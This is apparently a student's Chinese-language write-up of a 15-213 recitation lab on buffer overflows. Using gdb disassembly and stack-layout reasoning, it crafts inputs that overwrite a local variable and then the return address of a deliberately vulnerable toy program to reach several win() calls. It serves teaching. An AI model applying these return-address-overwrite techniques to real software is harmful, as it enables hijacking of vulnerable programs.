输入 gdb activity
,开启 activity 之旅。
Objective: The goal of this activity is to input a string that causes the program to call win(0x15213),
and thereby win a cookie.
在开启之前,先查看一下solve
函数的内容:
void solve(void) { | |
volatile long before = 0xb4; | |
char buf[16]; | |
volatile long after = 0xaf; | |
Gets(buf); | |
if (before == 0x3331323531) { | |
win(0x15213); | |
} | |
if (after == 0x3331323831) { | |
win(0x18213); | |
} | |
} |
看一下 solve
的汇编代码:
(gdb) disas solve
Dump of assembler code for function solve:
0x00000000000011df <+0>: endbr64
0x00000000000011e3 <+4>: sub $0x38,%rsp
0x00000000000011e7 <+8>: movq $0xb4,0x28(%rsp)
0x00000000000011f0 <+17>: movq $0xaf,0x8(%rsp)
0x00000000000011f9 <+26>: lea 0x10(%rsp),%rdi
0x00000000000011fe <+31>: callq 0x1279 <Gets>
0x0000000000001203 <+36>: mov 0x28(%rsp),%rdx
0x0000000000001208 <+41>: movabs $0x3331323531,%rax
0x0000000000001212 <+51>: cmp %rax,%rdx
0x0000000000001215 <+54>: je 0x1230 <solve+81>
0x0000000000001217 <+56>: mov 0x8(%rsp),%rdx
0x000000000000121c <+61>: movabs $0x3331323831,%rax
0x0000000000001226 <+71>: cmp %rax,%rdx
0x0000000000001229 <+74>: je 0x123c <solve+93>
0x000000000000122b <+76>: add $0x38,%rsp
0x000000000000122f <+80>: retq
0x0000000000001230 <+81>: mov $0x15213,%edi
0x0000000000001235 <+86>: callq 0x1169 <win>
0x000000000000123a <+91>: jmp 0x1217 <solve+56>
0x000000000000123c <+93>: mov $0x18213,%edi
0x0000000000001241 <+98>: callq 0x1169 <win>
0x0000000000001246 <+103>: jmp 0x122b <solve+76>
End of assembler dump.
函数给 solve
预留了 56 个字节的空间:
before = 0xb4
移动到%rsp + 40
处after = 0xaf
移动到%rsp + 8
处%rdi = %rsp + 16
- 调用
gets
%rdx = *(%rsp + 40)
,把before
赋给%rdx
%rax = $0x3331323531
- 接下来是个判断:
if(rdx == rax) { | |
edi = 0x15213; | |
callq win | |
} | |
rdx = *(rsp + 8); | |
rax = 0x3331323831; | |
if(rdx == rax) { | |
edi = 0x18213; | |
callq win; | |
} | |
rsp += 40; | |
return; |
完成 gets
之前的调用后,栈分布大致如下(一共 56 个字节的分配):
rsp
处没有值rsp + 8
处存储after = 0xaf
rsp + 16 ~ rsp + 24
处存储 16 字节的buf
rsp + 32
处 8 个字节空闲rsp + 40
处存储before = 0xb4
rsp + 56
处存储的是调用solve
的return address
# 普通缓冲区溢出
查看代码可以理解,要让程序调用 win(0x15213)
,需要让 rdx == 0x3331323531
,而在这之前 rdx = before
,所以我们的根本目的是让 before = 0x3331323531
。就得让 buf
前 24 个字节为 0,后八个字节等于 0x3331323531
。该机器为小端法机器,那么这 8 个字节从低地址到高地址的顺序应该是: 0x31 0x35 0x32 0x31 0x33 0x00 0x00 0x00
,这 8 个个字节翻译成 ASCII码
就是 15213
。此外 gets
一定要读到 \n
字符,它会把 \n
替换为 \0
字符。它不是读到 \0
字符就终止。后面不需要加 0
,因为 0
的 ASCII
编码是 0x30
。如果最后加了 3 个 0
的话,最后 8 个字节的地址就会变成 0x31 0x35 0x32 0x31 0x33 0x30 0x30 0x30
。
有几条要注意的点:
- 机器为小端法机器,写内存的时候要把数字倒过来
0x00
是在 ASCII 码里面是空字符,0x30
在 ASCII 码里面是0
gets
要读到\n
,他会把\n
替换成\0
存储在buf
中,无需手动\0
- 输入的时候只能输入字符串,而不能输入 10 进制或者 16 进制的值,如果函数没有调用
atoi
,输入一律被当作字符串处理。因此我们需要输入0x3331323531
对应的ASCII
编码,而不是这个值本身。
输入 01234567890123456789012315213
,成功调用 win(0x15213)
。如下:
gwen@gwen-virtual-machine:~/Documents/report/code/15213/Ch3 Machine Level Programming/rec5/src$ ./activity
01234567890123456789012315213
You win 1 cookie! Great start!
Returning normally from main
# 包含返回地址攻击的缓冲区溢出
要让这个 solve
函数跳转到我们插入的代码段(未开启栈随机化 / canary
/ NX bit
及其他防护机制,不考虑 nop sled
),我们需要利用缓冲区溢出,让 return address
修改为我们所插入的代码段的地址。我们需要让 buf
的前 40 个字节为任意内容,最后 8 个字节为我们插入的攻击代码的地址。
我们这次的目的是想调到 <solve +93>
位置处,本次运行过程中该位置的地址是 0x000055555555523c
,过会儿我们要将其插入 buf
的第 48-48 字节处。该地址的值换算成小端法是 0x3c 0x52 0x55 0x55 0x55 0x55 0x00 0x00
。其对应的 ASCII码
是 <RUUUU
,后面的 null
为 0x00
。我们要让程序返回的时候跳转到 mov $0x18213,%edi
。那么构造的字符串应该是 0123456789012345678901234567890123456789<RUUUU
。结果如下:
43 if (after == 0x3331323831) {
(gdb) n
solve () at activity.c:44
44 win(0x18213);
(gdb)
You win 2 cookies! Woohoo!
0x0000000000000000 in ?? ()
成功!
# 引导程序到攻击代码
此处我们进行更进阶的攻击,程序中函数 solve()
并未调用过 win(0x18613)
,让我们尝试返回到 win(0x18613)
中。此时我们不光只破解 solve()
,还需要对 win
函数的代码进行分析。结果如下:
(gdb) disas win
Dump of assembler code for function win:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: sub $0x8,%rsp
0x0000555555555171 <+8>: cmp $0x15213,%edi
0x0000555555555177 <+14>: je 0x5555555551a7 <win+62>
0x0000555555555179 <+16>: cmp $0x18213,%edi
0x000055555555517f <+22>: je 0x5555555551b5 <win+76>
0x0000555555555181 <+24>: cmp $0x18613,%edi
0x0000555555555187 <+30>: je 0x5555555551c3 <win+90>
0x0000555555555189 <+32>: mov 0x2ea1(%rip),%eax # 0x555555558030 <mystery>
0x000055555555518f <+38>: cmp $0x15513,%eax
0x0000555555555194 <+43>: je 0x5555555551d1 <win+104>
0x0000555555555196 <+45>: lea 0xed3(%rip),%rdi # 0x555555556070
0x000055555555519d <+52>: callq 0x555555555030 <puts@plt>
0x00005555555551a2 <+57>: add $0x8,%rsp
0x00005555555551a6 <+61>: retq
0x00005555555551a7 <+62>: lea 0xe5a(%rip),%rdi # 0x555555556008
0x00005555555551ae <+69>: callq 0x555555555030 <puts@plt>
0x00005555555551b3 <+74>: jmp 0x5555555551a2 <win+57>
0x00005555555551b5 <+76>: lea 0xedc(%rip),%rdi # 0x555555556098
0x00005555555551bc <+83>: callq 0x555555555030 <puts@plt>
0x00005555555551c1 <+88>: jmp 0x5555555551a2 <win+57>
0x00005555555551c3 <+90>: lea 0xe5e(%rip),%rdi # 0x555555556028
0x00005555555551ca <+97>: callq 0x555555555030 <puts@plt>
0x00005555555551cf <+102>: jmp 0x5555555551a2 <win+57>
0x00005555555551d1 <+104>: lea 0xe78(%rip),%rdi # 0x555555556050
0x00005555555551d8 <+111>: callq 0x555555555030 <puts@plt>
0x00005555555551dd <+116>: jmp 0x5555555551a2 <win+57>
End of assembler dump.
我们需要跳转到 if(arg == 0x18613)
后面那句,也就是 <win+90>
处,该条指令的地址是 0x00005555555551c3
,转化成小端法是 0xc3 0x51 0x55 0x55 0x55 0x55 0x00 0x00
,转化成 ASCII码
也就是 ÃQUUUU
。因此,我们构造的字符串应该是 0123456789012345678901234567890123456789ÃQUUUU
。结果如下:
(gdb) p $rsp
$2 = (void *) 0x555555559018 <my_stack+4056>
(gdb) x/s 0x555555559018
0x555555559018 <my_stack+4056>: "ÃQUUUU"
(gdb) x/6bx 0x555555559018
0x555555559018 <my_stack+4056>: 0xc3 0x83 0x51 0x55 0x55 0x55
这里出现了一点问题,就是 Ã
采用 Unicode
扩展编码,其编码为 0xc3 0x83
,而我们仅仅需要 0xc3
,因此我们需要将 16 进制的地址写在文件里,然后用文件作为 activity
的输入。
Slides 中最后一页告诉我们,提供了 hex2raw
脚本,可以把 16 进制值写到 input2.txt
中,然后通过 hex2raw
转化为 input2.bin
。我们在 input2.txt
中写入值 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 31 35 32 31 33 00 30 31 32 33 34 35 36 37 38 39 c3 51 55 55 55 55
,将其转化,然后输入 ./activity < ../inputs/input2.bin
。
结果如下:
(gdb) r < ../inputs/input2.bin
Starting program: /home/gwen/Documents/report/code/15213/Ch3 Machine Level Programming/rec5/src/activity < ../inputs/input2.bin
You win 3 cookies! That's right!
Program received signal SIGSEGV, Segmentation fault.
成功!